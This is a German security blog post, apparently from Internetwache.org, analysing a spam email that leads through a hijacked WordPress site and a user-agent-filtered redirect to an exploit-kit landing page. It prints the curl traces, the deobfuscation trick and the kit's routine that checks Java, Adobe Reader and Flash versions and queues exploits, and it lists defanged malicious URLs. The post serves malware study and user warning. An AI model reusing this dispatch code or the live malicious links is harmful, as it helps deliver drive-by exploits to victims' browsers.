Spam in Verbindung mit Phishing bzw. Exploiting

Gestern leitete uns der Leser @vis7mac freundlicherweise zwei Phishing Emails weiter. Eine Spam Mail von LinkedIn und eine von PayPal. Beide Mails wollten wir entsprechend analysieren, um über die davon ausgehende Gefahr berichten zu können, oder sie sogar abzuwenden (bspw. durch Abuse beim Provider). Hinter der ersten Email versteckt sich scheinbar ein Exploit-Kit, welches verschiedene Programmexploits ausnutzen will.

Bei dieser Untersuchung haben wir auf eine Analyse der Mailheader verzichtet und uns nur auf die E-Mail beziehungsweise die Links in dieser konzentriert. Die Links in der PayPal-Email waren nicht mehr erreichbar, da der Hoster die Seite (Scripts) bereits gelöscht hat.

Zur LinkedIn-Spammail

Wir hatten jedoch die Möglichkeit die URL in der LinkedIn Spam Email öffnen.

Achtung: Möglicherweise sind die Exploits hinter diesen Links noch aktiv. Diese Links sollte man nur aufrufen, wenn man weiß, was man macht! (Tipp: REMOVE )

http://bobdykstra.com/wp-content/_REMOVE_themes/toolbox/wp-secure.php?c002

Scheinbar wurde wieder einmal eine Wordpressinstallation zum Beispiel durch Ausnutzung von Exploits übernommen und zum Phishingversand missbraucht. Wenn man dem Link folgt gibt es zwei Möglichkeiten der Weiterleitung, welche vom Angreifer bewusst erzeugt wurden, um den Verdacht und damit die Wahrscheinlichkeit des Entdecktwerdens gering zu halte

Ruft man die URL ohne UserAgent auf, dann wird man auf die Webpräsenz microsoft.com weitergeleitet. Ein Angriff fand danach nicht statt, da der Computer mit der entsprechenden Software nicht verwundbar war.

1
2
3
4
5
6
7
8
% curl -D - http://bobdykstra.com/wp-content/themes/_REMOVE_toolbox/wp-secure.php
HTTP/1.1 302 Found
Date: Tue, 12 Mar 2013 19:02:27 GMT
Server: Apache
Location: http://microsoft.com
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

Nutzt man jedoch einen UserAgent der dem Browser FireFox und dem Windows-Betriebssystem entspricht, landet man auf der eigentlichen Seite mit dem Exploit.

1
2
3
4
5
6
7
8
% curl -D - -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" http://bobdykstra.com/wp-content/themes/_REMOVE_toolbox/wp-secure.php
HTTP/1.1 302 Found
Date: Tue, 12 Mar 2013 19:05:39 GMT
Server: Apache
Location: http://1oihfoishfos.qHigh.com/closest/_REMOVE_209tuj2dsljdglsgjwrigslgkjskga.php
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

Ruft man diese URL auf, so wird eine 140 Kilobyte große HTML Seite heruntergeladen. Diese besteht aus ein wenig HTML Code und viel Javascript Quelltext. Hier ein Ausschnitt; wobei auf der Exploit-Seite nicht mehr auf den UserAgent geachtet wird:

1
2
3
4
5
6
7
8
9
-> % curl -D - -s http://1oihjsfoihoifh.ftpserver.biz/closest/_REMOVE_209tuj2dsljdglsgjwrigslgkjskga.php -o /dev/null
HTTP/1.1 200 OK
Server: nginx/1.2.7
Date: Tue, 12 Mar 2013 19:04:58 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Vary: Accept-Encoding

Den kompletten Inhalt findet man in der folgenden Textdatei (für interessierte Leser): http://uploads.internetwache.org/weiterleitung.txt

Der Quelltext

Daraufhin galt es den codierten Javascript Quelltext zu decodieren. Wir änderten einfach eine Zeile an dem Quelltext und erhielten das Ergebnis in der Javascriptkonsole:

1
z("zxczxc=1;"+s); => console.log(s);

Die Ausgabe kann man auf der folgenden Seite nachvollziehen (für interessierte Leser): http://uploads.internetwache.org/weiterleitung.html

Nachdem wir den Quelltext durch einen Beautifier geschickt haben, war der Quelltext einigermaßen leserlich. Aus diesem heraus wurde ein Applet geladen, welches wir ebenfalls herunterluden und decompilierten. Die beiden Quelltexte findet man in dem folgenden Paste (für interessierte Leser):

http://nopaste.me/paste/1716874074513f7fc517551

Auch wenn durch die verkürzten Variablen die Lesbarkeit des Quelltextes verloren geht, so erkennt man, dass die folgende Funktion eine zentrale Rolle spielt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function svwrbew6436b($) {
    var ar = [];
    var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
    if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
        ar["push"](j2);
    } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 &&javax[1] < 6))) {
        ar["push"](j1);
    }
    pdfver = pdpd.getVersion("AdobeReader");
    if (window.document) if (typeof pdfver == "string") {
        pdfver = pdfver["split"](".")
    } else {
        pdfver = [0, 0, 0, 0]
    }
    if (pdfver[0] > 0 && pdfver[0] < 8) {
        if (window.document) ar["push"](p1);
    }
    if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))) {
        ar["push"](p3);
    } else {
        if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
            ar["push"](p2);
        }
    }
    var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
    if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10&& ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
        ar["push"](ff2);
    }
    if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
        ar["push"](f1);
    }
    var arcalli = 0;
    var arcall = function () {
        if (ar.length <= arcalli) return 123;
        ss = setTimeout;
        var res = ar[arcalli]();
        arcalli++;
        if (res && window.document) {
            ss(function () {
                arcall()
            }, 5509);
        } else {
            arcall();
        }
    };
    arcall();
}

In dieser Funktion werden die Versionsnummer der folgenden Plugins überprüft: Java, Adobereader, Flash. Je nach dem, welche Versionsnummern vorhanden sind, werden verschiedene Funktionen in ein Array gepusht. Im unteren Teil des Quelltextes werden die entsprechenden weiteren Funktionen aufgerufen, welche sich um die Ausnutzung der Exploits kümmern könnten.

Die Analyse der entsprechenden Exploits überlassen wir unseren Kollegen, welche sich damit auskennen :) Wir haben unser Möglichstes getan, um die Gefahr zu bannen, beispielsweise den DynDNS Dienst http://ftpserver.biz/ informiert und um Löschung der Subdomain mit den schadhaften Scripts gebeten.

Fazit:

Wir verbleiben an dieser Stelle mit dem alten und eigentlich bekannten Hinweis:

Niemals einen Link aus einer Spam Mail anzuklicken!

Ansonsten kann das schwerwiegende Folgen haben, nicht bloß den Verlust der jeweiligen Accountdaten durch Phishing, sondern auch eine komplette Kompromittierung Ihres Systems durch entsprechende Exploits in den Plugins (bspw. Java, Flash, etc.) für den Browser.

Ohnehin empfiehlt es sich momentan beispielsweise das Java Plugin im Browser komplett zu deaktivieren, da es nahezu jeden Monat neue Zero-Day-Exploits gibt. Außerdem sollte man ein Plugin wie NoScript (Firefox) nutzen, denn die meisten Exploits werden via Javascript eingeleitet.

Das Team der Internetwache.org